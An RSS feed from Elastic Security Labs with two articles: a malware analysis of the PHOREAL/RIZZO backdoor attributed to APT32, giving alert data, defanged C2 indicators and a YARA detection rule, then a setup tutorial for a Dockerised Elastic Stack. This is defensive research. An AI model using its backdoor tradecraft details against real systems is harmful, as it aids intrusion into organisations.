<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Derek Ditch</title>
        <link>https://www.elastic.co/pt/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 05 Mar 2026 22:21:01 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Derek Ditch</title>
            <url>https://www.elastic.co/pt/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/pt/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[PHOREAL Malware Targets the Southeast Asian Financial Sector]]></title>
            <link>https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector</link>
            <guid>phoreal-malware-targets-the-southeast-asian-financial-sector</guid>
            <pubDate>Thu, 02 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security discovered PHOREAL malware, which is targeting Southeast Asia financial organizations, particularly those in the Vietnamese financial sector.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.</p>
<h3>What is the threat?</h3>
<p>PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).</p>
<h3>What is the impact?</h3>
<p>APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.</p>
<h3>What is Elastic doing about it?</h3>
<p>Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.</p>
<h2>Investigation Details</h2>
<p>While conducting Threat Discovery &amp; Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.</p>
<p>Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.</p>
<blockquote>
<p>You can read more about Elastic Security’s memory protections <a href="https://www.elastic.co/pt/blog/whats-new-elastic-security-7-15-0#:~:text=Memory%20threat%20protection%20for%20Windows%20endpoints">HERE</a> and about in-memory attacks <a href="https://www.elastic.co/pt/blog/hunting-memory">HERE</a>.</p>
</blockquote>
<p>With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:</p>
<p><strong>Targeted process is a signed Windows binary</strong></p>
<pre><code>...
&quot;process&quot;: {
     &quot;args&quot;: [
       &quot;control.exe&quot;,
       &quot;Firewall.cpl&quot;,
       &quot;{2D48D219-C306-4349-AE1F-09744DFFB5B9}&quot;
     ],
     &quot;Ext&quot;: {
       &quot;code_signature&quot;: [
         {
           &quot;trusted&quot;: true,
           &quot;subject_name&quot;: &quot;Microsoft Windows&quot;,
           &quot;exists&quot;: true,
           &quot;status&quot;: &quot;trusted&quot;
         }
       ],
       &quot;dll&quot;: [
...

</code></pre>
<p><strong>Unsigned loaded .dll</strong></p>
<pre><code>...
   &quot;Ext&quot;: {
     &quot;mapped_address&quot;: 1945501696,
     &quot;mapped_size&quot;: 21135360
   },
   &quot;path&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
   &quot;code_signature&quot;: [
     {
       &quot;exists&quot;: false
     }
   ],
   &quot;name&quot;: &quot;tscon32.dll&quot;,
   &quot;hash&quot;: {
     &quot;sha1&quot;: &quot;007970b7a42852b55379ef4cffa4475865c69d48&quot;,
     &quot;sha256&quot;: &quot;ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33&quot;,
     &quot;md5&quot;: &quot;2b6da20e4fc1af2c5dd5c6f6191936d1&quot;
   }
 },
...

</code></pre>
<p><strong>Starting module from the alerting thread</strong></p>
<pre><code>...
 &quot;pe&quot;: {
   &quot;original_file_name&quot;: &quot;CONTROL.EXE&quot;
 },
 &quot;name&quot;: &quot;control.exe&quot;,
 &quot;pid&quot;: 5284,
 &quot;thread&quot;: {
   &quot;Ext&quot;: {
     &quot;start_address_module&quot;: &quot;C:\\Windows\\SysWOW64\\tscon32.dll&quot;,
...

</code></pre>
<p><strong>Alerting memory region metadata</strong></p>
<pre><code>...
&quot;memory_region&quot;: {`
   &quot;region_size&quot;: 73728,
   &quot;region_protection&quot;: &quot;RWX&quot;,
   &quot;allocation_base&quot;: 81395712,
   &quot;bytes_allocation_offset&quot;: 0,
   &quot;allocation_type&quot;: &quot;PRIVATE&quot;,
   &quot;memory_pe_detected&quot;: true,
   &quot;region_state&quot;: &quot;COMMIT&quot;,
   &quot;strings&quot;: [
     &quot;QSSSSSSh &quot;,
     ...
     &quot;bad cast&quot;,
     &quot;Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;,
     &quot;Netapi32.dll&quot;,
     &quot;NetWkstaGetInfo&quot;,
     &quot;NetApiBufferFree&quot;,
     &quot;\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;,
     &quot;list&lt;T&gt; too long&quot;,
     &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;,
     &quot;DllEntry&quot;,
     ...
     &quot;.?AVbad_alloc@std@@&quot;,
     &quot;C:\\Windows\\syswow64\\control.exe&quot;,
     &quot;:z:zzzzzz7&quot;,
     ...
     &quot;InternalName&quot;,
     &quot;mobsync.exe&quot;,
     &quot;LegalCopyright&quot;,
...

</code></pre>
<p><strong>Thread data for pivoting</strong></p>
<pre><code>...
&quot;thread&quot;: {
 &quot;Ext&quot;: {
   &quot;start_address_bytes&quot;: &quot;8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300&quot;,
   ...
   &quot;start_address_bytes_disasm&quot;: &quot;mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]&quot;
 },
...

</code></pre>
<p>From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.</p>
<p>Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included <a href="https://www.virustotal.com/gui/file/88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de">the below entry</a> first submitted in July 2021.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_matching_start_address_bytes_.jpg" alt="VT result matching start_address_bytes" /></p>
<p>In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (<a href="https://twitter.com/fxb_b">@fxb_b</a>) authored a crowdsourced YARA rule identifying this as the <a href="https://attack.mitre.org/software/S0158/">PHOREAL</a> backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/VT_result_CONTENT_tab.jpg" alt="VT result CONTENT tab" /></p>
<p>Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.</p>
<p><strong>Converted YARA strings</strong></p>
<pre><code>strings:
          \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

</code></pre>
<p>This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our <a href="https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Collecting Cobalt Strike Beacons</a> article.</p>
<p>Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an <a href="https://docs.microsoft.com/en-us/windows/win32/menurc/rcdata-resource">RCDATA resource</a> as described in a <a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">2018 CYLANCE OceanLotus whitepaper</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/RC4_decrypting_binary_embedded_URL.jpg" alt="RC4 decrypting binary embedded URL" /></p>
<p>The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.</p>
<p><strong><a href="https://ipinfo.io/">https://ipinfo.io/</a> query results for 103.75.117[.]250</strong></p>
<pre><code>{
  &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
  &quot;city&quot;: &quot;Hong Kong&quot;,
  &quot;region&quot;: &quot;Central and Western&quot;,
  &quot;country&quot;: &quot;HK&quot;,
  &quot;loc&quot;: &quot;22.2783,114.1747&quot;,
  &quot;org&quot;: &quot;AS133752 Leaseweb Asia Pacific pte. ltd.&quot;,
  &quot;timezone&quot;: &quot;Asia/Hong_Kong&quot;,
  &quot;asn&quot;: {
    &quot;asn&quot;: &quot;AS133752&quot;,
    &quot;name&quot;: &quot;Leaseweb Asia Pacific pte. ltd.&quot;,
    &quot;domain&quot;: &quot;leaseweb.com&quot;,
    &quot;route&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;company&quot;: {
    &quot;name&quot;: &quot;Oneprovider.com - Hong Kong Infrastructure&quot;,
    &quot;domain&quot;: &quot;oneprovider[.]com&quot;,
    &quot;type&quot;: &quot;hosting&quot;
  },
  &quot;privacy&quot;: {
    &quot;vpn&quot;: false,
    &quot;proxy&quot;: false,
    &quot;tor&quot;: false,
    &quot;relay&quot;: false,
    &quot;hosting&quot;: true,
    &quot;service&quot;: &quot;&quot;
  },
  &quot;abuse&quot;: {
    &quot;address&quot;: &quot;1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada&quot;,
    &quot;country&quot;: &quot;CA&quot;,
    &quot;email&quot;: &quot;info@oneprovider.com&quot;,
    &quot;name&quot;: &quot;ONE PROVIDER&quot;,
    &quot;network&quot;: &quot;103.75.117[.]0/24&quot;,
    &quot;phone&quot;: &quot;+1 514 286-0253&quot;
  },
  &quot;domains&quot;: {
    &quot;ip&quot;: &quot;103.75.117[.]250&quot;,
    &quot;total&quot;: 2,
    &quot;domains&quot;: [
      &quot;thelivemusicgroup[.]com&quot;,
      &quot;cdn-api-cn-1[.]com&quot;
    ]
  }

</code></pre>
<p>Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/https-lookup.jpg" alt="https://lookup.icann.org/lookup for thelivemusicgroup[.]com" /></p>
<p>The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">2017 Mandiant report</a> indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.</p>
<h2>Analysis</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries and victims of intrusions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/REF4322_Diamond_Model_Analysis.png" alt="REF4322 Diamond Model Analysis" /></p>
<h3>Adversary Assessment Justification</h3>
<p>We assess with high confidence based on observed activity and previous reporting that REF4322 is <a href="https://attack.mitre.org/groups/G0050/">APT32/OceanLotus</a> and the actor behind this incident. APT32 has been active since 2014 <a href="https://www.mandiant.com/resources/cyber-espionage-apt32">notably targeting</a> Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.</p>
<h2>Conclusion</h2>
<h3>YARA Rules</h3>
<p>We have created a YARA rule to identify this PHOREAL activity.</p>
<p><strong>Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo</strong></p>
<pre><code>rule Windows_Trojan_PHOREAL {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-02-16&quot;
        last_modified = &quot;2022-02-16&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PHOREAL&quot;
        threat_name = &quot;Windows.Trojan.PHOREAL&quot;
        description = &quot;Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo.&quot;
        reference_sample = &quot;88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de&quot;


    strings:
              \\  &quot;\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}&quot;  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  &quot;Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}&quot;  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  &quot;{FD5F8447-657A-45C1-894B-D533926C9B66}.dll&quot;  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

</code></pre>
<h3>Defensive Recommendations</h3>
<p>The following steps can be leveraged to improve a network’s protective posture:</p>
<ol>
<li>Enable Elastic Security Memory Protection on Windows endpoints</li>
<li>Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization</li>
<li>Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.</li>
</ol>
<h3>References</h3>
<p>The following research was referenced throughout the document:</p>
<ul>
<li><a href="https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf">https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf</a></li>
<li><a href="https://www.mandiant.com/resources/cyber-espionage-apt32">https://www.mandiant.com/resources/cyber-espionage-apt32</a></li>
<li><a href="https://www.secureworks.com/research/threat-profiles/tin-woodlawn">https://www.secureworks.com/research/threat-profiles/tin-woodlawn</a></li>
<li><a href="https://attack.mitre.org/software/S0158/">https://attack.mitre.org/software/S0158/</a></li>
<li><a href="https://attack.mitre.org/groups/G0050/">https://attack.mitre.org/groups/G0050/</a></li>
</ul>
<h3>Observables</h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Reference</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>thelivemusicgroup[.]com</td>
<td>domain-name</td>
<td></td>
<td>C2 domain encrypted in malware</td>
</tr>
<tr>
<td>103.75.117[.]250</td>
<td>ipv4-addr</td>
<td></td>
<td>Resolved IP of thelivemusicgroup[.]com</td>
</tr>
<tr>
<td>ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33</td>
<td>SHA256</td>
<td>tscon32.dll</td>
<td>PHOREAL dll</td>
</tr>
</tbody>
</table>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltecdb2d74a5c6ce1b/628e88d96f81705517a1f25b/phoreal-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/phoreal-malware-targets-the-southeast-asian-financial-sector/blog-thumb-roman-columns.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[The Elastic Container Project for Security Research]]></title>
            <link>https://www.elastic.co/pt/security-labs/the-elastic-container-project</link>
            <guid>the-elastic-container-project</guid>
            <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The Elastic Container Project provides a single shell script that will allow you to stand up and manage an entire Elastic Stack using Docker. This open source project enables rapid deployment for testing use cases.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>The Elastic Stack is a modular data analysis ecosystem. While this allows for engineering flexibility, it can be cumbersome to stand up a development instance for testing. The easiest way to stand up the Elastic Stack, is to use <a href="https://cloud.elastic.co">Elastic Cloud</a> - it’s completely turnkey. However, there could be situations where Elastic Cloud won’t work for your testing environment. To help with this, this blog will provide you with the necessary information required in order to quickly and painlessly stand up a local, fully containerized, TLS-secured, Elastic Stack with Fleet and the Detection Engine enabled. You will be able to create a Fleet policy, install an Elastic Agent on a local host or VM, and send the data into your stack for monitoring or analysis.</p>
<p>This blog will cover the following:</p>
<ul>
<li>The Elastic Stack</li>
<li>The Elastic Container project</li>
<li>How to use the Elastic Container project</li>
<li>How to navigate Kibana and use its related features for security research</li>
</ul>
<blockquote>
<p>The Elastic Container Project is not sponsored or maintained by the company, Elastic. Design and implementation considerations for the project may not reflect Elastic’s guidance on deploying a production-ready stack.</p>
</blockquote>
<h2>The Elastic Stack</h2>
<p>The Elastic Stack is made up of several different components, each of which provide a distinct capability that can be utilized across a wide variety of use cases.</p>
<h3>Elasticsearch</h3>
<p>Elasticsearch is a distributed, RESTful search and analytics engine. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine-tuned relevancy, and powerful analytics that scale with ease.</p>
<h3>Kibana</h3>
<p>Kibana is the user interface that lets you visualize your Elasticsearch data and manage the Elastic Stack.</p>
<h3>The Elastic Agent</h3>
<p>The Elastic Agent is the modular agent that allows you to collect data from an endpoint or act as a vehicle to ship data from 3rd party sources, like threat feeds. The Elastic Security integration for endpoints prevents ransomware and malware, detects advanced threats, and arms responders with vital investigative context.</p>
<h2>The Elastic Container Project</h2>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/elastic-container.png" alt="The Elastic Container Project" /></p>
<p>As mentioned above, the Elastic Stack is modular which makes it very flexible for a wide variety of use cases but this can add complexity to the implementation.</p>
<p>The Elastic Container project is an open source project that uses Docker Compose as a way to stand up a fully-functional Elastic Stack for use in non-production environments. This project is not sponsored or maintained by the Elastic company.</p>
<h3>Introduction</h3>
<p>The <a href="https://github.com/peasead/elastic-container">Elastic Container Project</a> includes three main components:</p>
<ul>
<li>Elasticsearch</li>
<li>Kibana</li>
<li>the Elastic Agent</li>
</ul>
<p>The project leverages <a href="https://docs.docker.com/compose/">Docker Compose</a>, which is a tool to build, integrate, and manage multiple Docker containers.</p>
<p>To simplify the management of the containers, the project includes a shell script that allows for the staging, starting, stopping, and destroying of the containers.</p>
<p>Additionally, the project makes use of self-signed TLS certificates between Elasticsearch and Kibana, Kibana and your web browser, the Elastic Agent and Elasticsearch, and the Elastic Agent and Kibana.</p>
<h3>Prerequisites</h3>
<p>The project was built and tested on Linux and macOS operating systems. If you are using Windows, you’ll not be able to use the included shell script, but you can still run native Docker Compose commands and manually perform post-deployment steps.</p>
<p>While not thoroughly tested, it is recommended that you contribute 4 cores and 8 GB of RAM to Docker.</p>
<p>There are only a few packages you need to install:</p>
<ul>
<li>Docker</li>
<li>Docker Compose</li>
<li>jq</li>
<li>Git</li>
<li>cURL</li>
</ul>
<h4>macOS</h4>
<p>If you’re running on macOS, you can install the prerequisites using <a href="https://brew.sh/">Homebrew</a>, which is an open-source package management system for macOS. Check out the Homebrew site for information on installing it if needed.</p>
<pre><code>**brew install jq git**
**brew install --cask docker**
</code></pre>
<h4>Linux</h4>
<p>If you’re running on Linux, you can install the prerequisites using your package management system ( <strong>DNF</strong> , <strong>Yum</strong> , or <strong>APT</strong> ).</p>
<p><strong>RPM-based distributions</strong></p>
<pre><code>**dnf install jq git curl**
</code></pre>
<p><strong>Ubuntu</strong></p>
<pre><code>**apt-get install jq git curl**
</code></pre>
<p>You'll also need the Docker suite (including the <strong>docker-compose-plugin</strong> ). Check out Docker's <a href="https://docs.docker.com/engine/install/">installation instructions</a> for your OS'</p>
<h3>Cloning the project repository</h3>
<p>The Elastic Container project is stored on Github. As long as you have Git installed, you can collect it from your CLI of choice.</p>
<pre><code>**git clone https://github.com/peasead/elastic-container.git**
**cd elastic-container**
</code></pre>
<p>This repository includes everything needed to stand up the Elastic Stack containers using a single shell script.</p>
<h3>Setting credentials</h3>
<p>Before proceeding, ensure you update the credentials for the Elastic and Kibana accounts in the <strong>.env</strong> file located in the root directory of the repository from their defaults of <strong>changeme</strong>.</p>
<h3>The shell script</h3>
<p>As mentioned above, the project includes a shell script that will simplify the management of the containers.</p>
<pre><code>**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
 **help print this message**
 **flags:**
 **-v enable verbose output**
</code></pre>
<h4>Stage</h4>
<p>This option downloads all of the containers from the Elastic Docker hub. This is useful if you are going to be building the project on a system that does not always have Internet access. This is not required, you can skip this option and move directly to the start option, which will download the containers.</p>
<pre><code>**$ ./elastic-container.sh stage**
**8.3.0: Pulling from elasticsearch/elasticsearch**
**7aabcb84784a: Already exists**
**e3f44495617d: Downloading [====\\&gt;] 916.5kB/11.26MB**
**52008db3f842: Download complete**
**551b59c59fdc: Downloading [\\&gt;] 527.4kB/366.9MB**
**25ee26aa662e: Download complete**
**7a85d02d9264: Download complete**
**…**
</code></pre>
<h4>Start</h4>
<p>This opinion will create the container network, download all of the required containers, set up the TLS certificates, and start and connect Elasticsearch, Kibana, and the Fleet server containers together. This option is a “quick start” to get the Elastic Stack up and running. If you have not changed your credentials in the .env file from the defaults, the script will exit.</p>
<pre><code>**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers**
**[+] Running 7/8**
 **⠿ Network elastic-container\_default Created 0.0s**
 **⠿ Volume &quot;elastic-container\_certs&quot; Created 0.0s**
 **⠿ Volume &quot;elastic-container\_esdata01&quot; Created 0.0s**
 **⠿ Volume &quot;elastic-container\_kibanadata&quot; Created 0.0s**
 **⠿ Container elasticsearch-security-setup Waiting 2.0s**
 **⠿ Container elasticsearch Created 0.0s**
**…**
</code></pre>
<h4>Stop</h4>
<p>This option will stop all running containers in the project, but will not remove them.</p>
<pre><code>**$ ./elastic-container.sh stop**

**Stopping running containers.**
**[+] Running 4/4**
 **⠿ Container elastic-agent Stopped 0.0s**
 **⠿ Container kibana Stopped 0.0s**
 **⠿ Container elasticsearch Stopped 0.0s**
 **⠿ Container elasticsearch-security-setup Stopped**
**…**
</code></pre>
<h4>Destroy</h4>
<p>This option will stop all running containers in the project, remove the container network, remove all data volumes, and remove all containers.</p>
<pre><code>**$ ./elastic-container.sh destroy**

**#####**
**Stopping and removing the containers, network, and volumes created.**
**#####**
**[+] Running 8/4**
 **⠿ Container elastic-agent Removed 0.0s**
 **⠿ Container kibana Removed 0.0s**
 **⠿ Container elasticsearch Removed 0.0s**
 **⠿ Container elasticsearch-security-setup Removed 0.3s**
 **⠿ Volume elastic-container\_esdata01 Removed 0.0s**
 **⠿ Network elastic-container\_default Removed 0.1s**
**…**
</code></pre>
<h4>Restart</h4>
<p>This option restarts all of the project containers.</p>
<pre><code>**$ ./elastic-container.sh restart

#####
Restarting all Elastic Stack components.
#####
Name Command State Ports
---------------------------
elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\&gt;9200/tcp, 9300/tcp
fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\&gt;8220/tcp
kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\&gt;5601/tcp**
</code></pre>
<h4>Status</h4>
<p>This option returns the status of the project containers.</p>
<pre><code>**$ ./elastic-container.sh status**
**Name Command State Ports**
**---------------------------**
**elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\&gt;9200/tcp, 9300/tcp**
**fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\&gt;8220/tcp**
**kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\&gt;5601/tcp**
</code></pre>
<h4>Clear</h4>
<p>This option clears all documents in the logs and metrics indices.</p>
<pre><code>**$ ./elastic-container.sh clear**

**Successfully cleared logs data stream**
**Successfully cleared metrics data stream**
</code></pre>
<h4>Help</h4>
<p>This option provides instructions on using the shell script.</p>
<pre><code>**$ ./elastic-container.sh help**

**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates a container network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
**clear all documents in logs and metrics indexes**
 **help print this message**
**flags:**
 **-v enable verbose output**
</code></pre>
<h2>Getting Started</h2>
<p>Now that we’ve walked through the project overview and the shell script, let’s go through the process of standing up your own stack.</p>
<h3>Updating variables</h3>
<p>All of the variables are controlled in an environment file ( <strong>.env</strong> ) that is at the root of the repository. The only things that you must change are the default usernames and passwords for <strong>elastic</strong> and <strong>kibana</strong>.</p>
<p>Open the <strong>.env</strong> file with whatever text editor you’re most comfortable with and update the <strong>ELASTIC_PASSWORD</strong> and <strong>KIBANA_PASSWORD</strong> variables from <strong>changeme</strong> to something secure. If you do not update the credentials from the defaults in the <strong>.env</strong> file, the script will exit.</p>
<p>If you want to change the other variables (such as the stack version), you can do so in this file.</p>
